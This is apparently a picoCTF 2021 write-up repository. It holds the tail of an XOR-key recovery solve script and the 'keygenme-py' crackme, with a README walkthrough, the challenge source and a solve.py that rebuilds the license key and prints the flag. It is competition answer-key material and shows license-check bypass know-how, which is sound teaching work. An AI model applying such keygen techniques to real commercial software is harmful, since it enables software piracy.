12 |
13 | print(encrypted_flag)
14 |
15 | p.recvuntil('?')
16 | p.sendline('A'*offset)
17 |
18 | p.recvuntil('?')
19 |
20 | p.sendline('A'*32)
21 |
22 | p.recvline()
23 |
24 | encoded = p.recvline().strip()
25 |
26 | print(f'encoded input: {encoded}')
27 |
28 | encoded = binascii.unhexlify(encoded)
29 |
30 | print(f'unhexed input: {encoded}')
31 |
32 | print('--------------------------------------------------\nWorking on the decode\n--------------------------------------------------')
33 |
34 | message = 'A'*32
35 |
36 | key = []
37 |
38 | for e in range(len(encoded)):
39 | key.append( ord(message[e])^encoded[e] )
40 |
41 | print(f'[+] Found key: {key}')
42 |
43 | decoded_flag = []
44 |
45 | encrypted_flag = binascii.unhexlify(encrypted_flag)
46 |
47 | for i in range(32):
48 | decoded_flag.append( chr(key[i]^encrypted_flag[i]) )
49 |
50 | flag = ''.join(decoded_flag)
51 |
52 | print(f'flag: {flag}')
--------------------------------------------------------------------------------
/keygenme-py/README.md:
--------------------------------------------------------------------------------
1 | # keygenme-py
2 |
3 | AUTHOR: SYREAL
4 |
5 | **Disclaimer! I do not own any of the challenge files**
6 |
7 | ## Looking at the keygenme-trial.py
8 |
9 | Instead of running the script right away, it is best practice to read the source code, right?
10 | ```py
11 | # GLOBALS --v
12 | arcane_loop_trial = True
13 | jump_into_full = False
14 | full_version_code = ""
15 |
16 | username_trial = "FREEMAN"
17 | bUsername_trial = b"FREEMAN"
18 |
19 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
20 | key_part_dynamic1_trial = "xxxxxxxx"
21 | key_part_static2_trial = "}"
22 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
23 | ```
24 | These are all the global variables. What is really important to us though?
25 | ```py
26 | username_trial = "FREEMAN"
27 | bUsername_trial = b"FREEMAN"
28 | ```
29 | This will be obvious later, next ofcourse the flag! Or here it is called the `key`. It is comprised of two static parts, and a dynamic part:
30 | ```py
31 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
32 | ```
33 | Great... maybe we can have a look at how the dynamic part is generated?
34 |
35 | ### Dynamic key
36 |
37 | To check the validity of the dynamic key, the following function is used (I split it):
38 | ```py
39 | def check_key(key, username_trial):
40 |
41 | global key_full_template_trial
42 |
43 | if len(key) != len(key_full_template_trial):
44 | return False
45 | else:
46 | # Check static base key part --v
47 | i = 0
48 | for c in key_part_static1_trial:
49 | if key[i] != c:
50 | return False
51 |
52 | i += 1
53 | ```
54 | First, check if the key is even long enough! After that check if we have the 1st static part correct (we can copy and paste, right?). Now the iterator `i` is at our dynamic part, and here is the `if tree` that checks our dynamic key:
55 | ```py
56 | if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
57 | return False
58 | else:
59 | i += 1
60 |
61 | if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
62 | return False
63 | else:
64 | i += 1
65 |
66 | if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
67 | return False
68 | else:
69 | i += 1
70 |
71 | if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
72 | return False
73 | else:
74 | i += 1
75 |
76 | if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
77 | return False
78 | else:
79 | i += 1
80 |
81 | if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
82 | return False
83 | else:
84 | i += 1
85 |
86 | if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
87 | return False
88 | else:
89 | i += 1
90 |
91 | if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
92 | return False
93 | ```
94 | So notice the following, we have a bunch of indexes: `4,5,3,6,2,7,1,8`. How do we use these? Well first a `sha256` hash of the username is `FREEMAN` calculated and then we pick the corresponding character. This is pretty easy to script.
95 |
96 | ## solve.py
97 |
98 | ```py
99 | import hashlib
100 | import base64
101 |
102 |
103 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
104 | key_part_dynamic1_trial = "xxxxxxxx"
105 | key_part_static2_trial = "}"
106 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
107 |
108 | username_trial = b"FREEMAN"
109 |
110 | potential_dynamic_key = ""
111 |
112 | # where our input begins:
113 | offset = 23
114 |
115 | # positions in username_trial
116 | positions = [4,5,3,6,2,7,1,8]
117 |
118 | for p in positions:
119 | potential_dynamic_key += hashlib.sha256(username_trial).hexdigest()[p]
120 |
121 | key = key_part_static1_trial + potential_dynamic_key + key_part_static2_trial
122 | print(key)
123 | print(len(key))
124 | ```
125 | We have a hardocded offset, out positions and then we just calculate the hashes one by one, and add to the key. After running the script, here is the result:
126 | ```
127 | picoCTF{1n_7h3_|<3y_of_0d208392}
128 | 32
129 | ```
130 | Great!
--------------------------------------------------------------------------------
/keygenme-py/keygenme-trial.py:
--------------------------------------------------------------------------------
1 | #============================================================================#
2 | #============================ARCANE CALCULATOR===============================#
3 | #============================================================================#
4 |
5 | import hashlib
6 | from cryptography.fernet import Fernet
7 | import base64
8 |
9 |
10 |
11 | # GLOBALS --v
12 | arcane_loop_trial = True
13 | jump_into_full = False
14 | full_version_code = ""
15 |
16 | username_trial = "FREEMAN"
17 | bUsername_trial = b"FREEMAN"
18 |
19 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
20 | key_part_dynamic1_trial = "xxxxxxxx"
21 | key_part_static2_trial = "}"
22 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
23 |
24 | star_db_trial = {
25 | "Alpha Centauri": 4.38,
26 | "Barnard's Star": 5.95,
27 | "Luhman 16": 6.57,
28 | "WISE 0855-0714": 7.17,
29 | "Wolf 359": 7.78,
30 | "Lalande 21185": 8.29,
31 | "UV Ceti": 8.58,
32 | "Sirius": 8.59,
33 | "Ross 154": 9.69,
34 | "Yin Sector CL-Y d127": 9.86,
35 | "Duamta": 9.88,
36 | "Ross 248": 10.37,
37 | "WISE 1506+7027": 10.52,
38 | "Epsilon Eridani": 10.52,
39 | "Lacaille 9352": 10.69,
40 | "Ross 128": 10.94,
41 | "EZ Aquarii": 11.10,
42 | "61 Cygni": 11.37,
43 | "Procyon": 11.41,
44 | "Struve 2398": 11.64,
45 | "Groombridge 34": 11.73,
46 | "Epsilon Indi": 11.80,
47 | "SPF-LF 1": 11.82,
48 | "Tau Ceti": 11.94,
49 | "YZ Ceti": 12.07,
50 | "WISE 0350-5658": 12.09,
51 | "Luyten's Star": 12.39,
52 | "Teegarden's Star": 12.43,
53 | "Kapteyn's Star": 12.76,
54 | "Talta": 12.83,
55 | "Lacaille 8760": 12.88
56 | }
57 |
58 |
59 | def intro_trial():
60 | print("\n===============================================\n\
61 | Welcome to the Arcane Calculator, " + username_trial + "!\n")
62 | print("This is the trial version of Arcane Calculator.")
63 | print("The full version may be purchased in person near\n\
64 | the galactic center of the Milky Way galaxy. \n\
65 | Available while supplies last!\n\
66 | =====================================================\n\n")
67 |
68 |
69 | def menu_trial():
70 | print("___Arcane Calculator___\n\n\
71 | Menu:\n\
72 | (a) Estimate Astral Projection Mana Burn\n\
73 | (b) [LOCKED] Estimate Astral Slingshot Approach Vector\n\
74 | (c) Enter License Key\n\
75 | (d) Exit Arcane Calculator")
76 |
77 | choice = input("What would you like to do, "+ username_trial +" (a/b/c/d)? ")
78 |
79 | if not validate_choice(choice):
80 | print("\n\nInvalid choice!\n\n")
81 | return
82 |
83 | if choice == "a":
84 | estimate_burn()
85 | elif choice == "b":
86 | locked_estimate_vector()
87 | elif choice == "c":
88 | enter_license()
89 | elif choice == "d":
90 | global arcane_loop_trial
91 | arcane_loop_trial = False
92 | print("Bye!")
93 | else:
94 | print("That choice is not valid. Please enter a single, valid \
95 | lowercase letter choice (a/b/c/d).")
96 |
97 |
98 | def validate_choice(menu_choice):
99 | if menu_choice == "a" or \
100 | menu_choice == "b" or \
101 | menu_choice == "c" or \
102 | menu_choice == "d":
103 | return True
104 | else:
105 | return False
106 |
107 |
108 | def estimate_burn():
109 | print("\n\nSOL is detected as your nearest star.")
110 | target_system = input("To which system do you want to travel? ")
111 |
112 | if target_system in star_db_trial:
113 | ly = star_db_trial[target_system]
114 | mana_cost_low = ly**2
115 | mana_cost_high = ly**3
116 | print("\n"+ target_system +" will cost between "+ str(mana_cost_low) \
117 | +" and "+ str(mana_cost_high) +" stone(s) to project to\n\n")
118 | else:
119 | # TODO : could add option to list known stars
120 | print("\nStar not found.\n\n")
121 |
122 |
123 | def locked_estimate_vector():
124 | print("\n\nYou must buy the full version of this software to use this \
125 | feature!\n\n")
126 |
127 |
128 | def enter_license():
129 | user_key = input("\nEnter your license key: ")
130 | user_key = user_key.strip()
131 |
132 | global bUsername_trial
133 |
134 | if check_key(user_key, bUsername_trial):
135 | decrypt_full_version(user_key)
136 | else:
137 | print("\nKey is NOT VALID. Check your data entry.\n\n")
138 |
139 |
140 | def check_key(key, username_trial):
141 |
142 | global key_full_template_trial
143 |
144 | if len(key) != len(key_full_template_trial):
145 | return False
146 | else:
147 | # Check static base key part --v
148 | i = 0
149 | for c in key_part_static1_trial:
150 | if key[i] != c:
151 | return False
152 |
153 | i += 1
154 |
155 | # TODO : test performance on toolbox container
156 | # Check dynamic part --v
157 | if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
158 | return False
159 | else:
160 | i += 1
161 |
162 | if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
163 | return False
164 | else:
165 | i += 1
166 |
167 | if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
168 | return False
169 | else:
170 | i += 1
171 |
172 | if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
173 | return False
174 | else:
175 | i += 1
176 |
177 | if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
178 | return False
179 | else:
180 | i += 1
181 |
182 | if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
183 | return False
184 | else:
185 | i += 1
186 |
187 | if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
188 | return False
189 | else:
190 | i += 1
191 |
192 | if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
193 | return False
194 |
195 |
196 |
197 | return True
198 |
199 |
200 | def decrypt_full_version(key_str):
201 |
202 | key_base64 = base64.b64encode(key_str.encode())
203 | f = Fernet(key_base64)
204 |
205 | try:
206 | with open("keygenme.py", "w") as fout:
207 | global full_version
208 | global full_version_code
209 | full_version_code = f.decrypt(full_version)
210 | fout.write(full_version_code.decode())
211 | global arcane_loop_trial
212 | arcane_loop_trial = False
213 | global jump_into_full
214 | jump_into_full = True
215 | print("\nFull version written to 'keygenme.py'.\n\n"+ \
216 | "Exiting trial version...")
217 | except FileExistsError:
218 | sys.stderr.write("Full version of keygenme NOT written to disk, "+ \
219 | "ERROR: 'keygenme.py' file already exists.\n\n"+ \
220 | "ADVICE: If this existing file is not valid, "+ \
221 | "you may try deleting it and entering the "+ \
222 | "license key again. Good luck")
223 |
224 | def ui_flow():
225 | intro_trial()
226 | while arcane_loop_trial:
227 | menu_trial()
228 |
229 |
230 |
231 | # Encrypted blob of full version
232 | full_version = \
233 | b"""
234 | gAAAAABgT_nvdPbQsvAhvsNvjCeuMqNP4gGInWyNCirwqXlGMM4EDHMeVEIci77G1dQTtGCgsVSeUfJKzwcBldLozZ24_kcrd9fd-a81-z2KBOrI8Qv_IOhY1LqsooySaeEQMvjMqBhhLhoIDfsXBSWnEb8RPDXVzZhc_5WaNDorzw8lUMqf1vLI8bWCP97UnQZclfIa_hH-ib5hy6hXuimvny4X9-eOzEIAROHD5l-FB8r82ZfUiPKED2woAgROd1_PF9HrCN_Poi_b5D42E_-R4fTX5G6ASWexix3vtO9jXW9YqSI4mN-RMoTLcYHe6wAt89e-SnhmmVxdqXzsbx37Z0UNaEEToIaUqEWuI5hHWRx9ytb9GQLimBzBVd3ZS1vuOp4gYaxRzCy8tAR63G3QrEx3mo-XLPRm8ajHVMxlsbc5U9D11znoZKEYZd2zTjTPGxaHwXaQA7hw4ZWHEEQIAUaBtAJtB_Ua0ERrop1xG1P6U-zlAWKzzymqYIV88_yHqChyWta8291J-QTy5sYYsbWygg65G5Ea4G30Eu5I6izqanJMhMFTLcBSKx_b0HBokRvim65ywa8tCh4iYZFHDsOqr2kDgyq2pZuvSRRTEHaPJVct68QScVLmWlBXSIM36ng4izANXH1qWTMxakfHQ52MRKmKhRV3sVUHGgHqdtQWJPnIeKlnWw6bHUtGxAvCQLTgwO6HR3D5EAiHMB6qu5yiAxRJMWophLMIZNN0alYV2VX0Amvd54WqAW9MnO0q1sunAyao7l1JJe6bGYIeKSYwyRiQVKtQ2nOkWXuJCRPY3PsfcT9OAkfKRCowlGF_hPmgCpB3izpUNOAD8HuNrkqKIUhROAOU-WCa04rQ2ig7bETXfJJldPRQGCvHC9zzczQC-ppq1G5PWs_tjT8VwtrrOc_Nb14dGqbLkDuKdPMa09TJKhBto0kD8O0f-JO--TOl51bPSitqTT11E1ZLiRufSojQDDbpFBMTFJNzf5puj4r3JJnDERw0quqGU8IxBPR91ZfKKEjW1U44p5G5GBbHVN1JTb0j4hpQAyKbWQKs7kGIyuToTL0VKR0WBovSeOwR_O4KmDit6ncHHEBXt7FBD6BCWkmUPuiF2QfIIFW83AizJfilZ4YhIOjiBW2J3b7-CJj0Vayq8eZY_ZeDiehwErGeiuxgeH96TZVA3C9-vAnNjdSJLPGLU935tuv74HOsPln5zQCiNyhJ3JZR4BaWLyex3haa1X-XJJZLgeGAVNqtU0ByUR5nLG37tKF9POPEkTH7Z7ujMVtcH9GfK231Fm9giBurP2CQmInoyp_oyuErlBFDPH0p5F8qWx1zcgOUZBTscZPtCzrT4otRh0HCNSV0blYPwxPjvpW2Nqs-ojXjjRgMOS6prdbtTm0eiCMC0DLY9b4YY7Gt5CKYX4HM8eyaY8Z04WPCpVvqEOLTl4NSqUlWRaVEUcbCBQNdyHIFeUbDUrs9PjXa4_WMwbqMnBPzQmBzmx4KqJJZz9RCy7I0BeqP_wy0kcTV5q8SPfZPyz_WoHx65e3z0GCuxZrzN1D7rj_WLsTPp96oCkF3B9yBx81UKXgZodZrUGooEJLxglMTCwX35X_GTh2aIggPah_k8emL1_rX_psDqGlDUPMYj8Af_O1KinL9lylCtHgGYLyGInBzHMgv4ixHPqqHk56YFmsKgqWUwR8g9an8eevQwm9_KAcg6VzreQEYsCjnsGLKvEMHt7ll3QfwhHiW-GHnPWxvhk169hKVaidBXuJuHmOpsQad5eJyvywwg0Hx0cfd6cKi3RS4PQcaYBlQXw7nsQ3xDLk0s6Bv97G3MAyQ_FIi5ieHdWO1FMYW1kbZy3Zrx5muiRmoNEBaTyDVeko8rJ9aaZWEXV1gQdDVAr92bFT_tb2ZImbPc2yJxmynaRV40ZCnVuxmwLVwCq36BSLss6yz_vnUVpswWQ4qKDbFbdPAof9mkNt0fe4Vqe_MC4ZhVvWSlsJhTlMvLedsrTbp3mL2JGvBOfvxwiOGkO-XgW1F7TGMXzh8j-KbTVKHdt6xp3DRs1Uhae5hncMCaIGqq5ocTO9Id-esyaJEumEL7oR-uzYXss3z6rSOjnGDF0k0aWCCFEKMWe1zzYhZis74IsFZ7cCfV0daXkrdD7VFIgor0ifd4-DoLYxIr-eC-yLc7eVouoHHirk0PcrMC2w7SuXReCuYvMt-jcUlZBEphb9D_0IEZDsua_Rl62FwT-1wPzyZg_uGcUviq1h8Bkgh0rs4DBdheLwRg3k6ekdTzPA78bqk5qnSbSyJMD5fK4daKbplPcNFLHTMJzKSAhQeGx0Uw3NS70q_k2uLXvbaagMB5NHzM7ZzH8P5chxcT07hkNNt7dfu9_ux35z6sEIeCmQ-MqvVn4GRBK3zEF2t_PYsQw_da6lbzEiPVWIlqQUkFcmyhsL9hSFDeBkK18abEknjs3cdukrD-e9JRKdxRJxJW97gJM-btsh_5Nbf1pIz-uxQbQhBZQkHOqC4BWyLjg3xT92B-3yDmZnykvk7d8pXNHOwtXSHtBD0jCAdCzUyE9_U51p7icO8toV0sbZ9tj22tPe1DKMM5M2uMHQXCySv4oTGpTGp4xA4tD5Wo_o59zgzwlpXtKukU7cT8DS2NCBRlDW_2L6HojArs2NPeKtBm_-DIDCiSrHSYdiITZq7GaoeyAywiOiqlVNDdLy0p3lcNW_Yo4vXyzfSm8qXTfEpoAb9gPps0LbJhci1sWqNL9JJPI4yIca4r0rr9Y1wIEYuwXeyLoQD_Yn6xPRiVmuGSnco3HsIBOuDoyU3AGQOczn_QZ_TvyIJYdS8op8UJFRMD7W7lJWFe-ivoFdUlAjMqyDCUO_PbAeJYaE0ekh7xh3yudd7dMmD9LcTOi_LQoEfYjPXIEQPaC7D_SDYw8AbBJ51FyKSif7n_fW6_PU0U6vfYZwbPWU5tp0nNjTuaPxI_88tyuZC_2gW3YgAIWs4vo0zWBk9AvdgfxNwFiIdp4dugGGg0-dJp_SW_XzgGv1ALkaMbxiOYSK0sE8ZXb3_5zA3vUn2OsKpCq6ROt4poLIFce_Cot1RSU3FUYie2V4GT7ChUrq-vJfTPVlixee1gSPE7TnlyAm_kANyQ3_VFgIyEiEfGBLb_mlIWbVCO9e9QC6_SDKbc8UvuXodJ9HcDe-yWTjV7V-7s7-Qhp_WSIBVwex8tmyCo5W69An5eOrPRwK5NfCFp0uJClvim9qfLnVDXc5QQmajx61VuwnCVZg82iWxMh_Jms-2EiaCEz1oyB87F_awJ413I_kT8Wa6OW1ZhadZkDS5IVEZTNYwIxeIaVUoZLSBESHwwwzD7zsR02pGlJFJcWcvdI96wtCcx1os6g_Lq7tpTwd33zCA-RgYZWTHKPnFSi1z0h-RsyCIqbBmGx2eswpfJbKRKi_QFQMw60w7O41FWQL8ZluxBOSd3kSP5xyVJC7bnDfE3g_OnBdU5MFQGl6uFaIxr1lUt98GeD6Gt2X1A-Hi1zOF4iaxCbb9h9FECqUrwGlwGo_TY_W0ekFM1UXFVVcUwsCwm5hL_wC7hCcN5Ad4dWx9EAL4NX3_N8n9qC3hW_l34Cq5V4Xzm1O7T7py7XF_CZ_Xd_GDdU89f2hrV1IngHqey_fc9lTroIhoLeZ3v2nj7_9osKs7qLHa_QwnwQ5jH0LxhAOGS9FHLBGdn3tXnRyzglLLOTP3XR1qeoSOEqz4Uk13qfI3GRiHacUnyyyT2OHdi4IsrxlxzGNEjBMDws9FPjXH4Xv_R0iSeD77JBIKqgd0n0hxaZRu8lOUhmnJFHpe6OrnmK8nB4A-yHuI5z37zC3KJDgKxnBBs8zfAOP0-g==
235 | """
236 |
237 |
238 |
239 | # Enter main loop
240 | ui_flow()
241 |
242 | if jump_into_full:
243 | exec(full_version_code)
244 |
--------------------------------------------------------------------------------
/keygenme-py/solve.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 | import base64
3 |
4 |
5 | key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
6 | key_part_dynamic1_trial = "xxxxxxxx"
7 | key_part_static2_trial = "}"
8 | key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
9 |
10 | username_trial = b"FREEMAN"
11 |
12 | potential_dynamic_key = ""
13 |
14 | # where our input begins:
15 | offset = 23
16 |
17 | # positions in username_trial
18 | positions = [4,5,3,6,2,7,1,8]
19 |
20 | for p in positions:
21 | potential_dynamic_key += hashlib.sha256(username_trial).hexdigest()[p]
22 |
23 | key = key_part_static1_trial + potential_dynamic_key + key_part_static2_trial
24 | print(key)
25 | print(len(key))
--------------------------------------------------------------------------------
/me.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/me.png
--------------------------------------------------------------------------------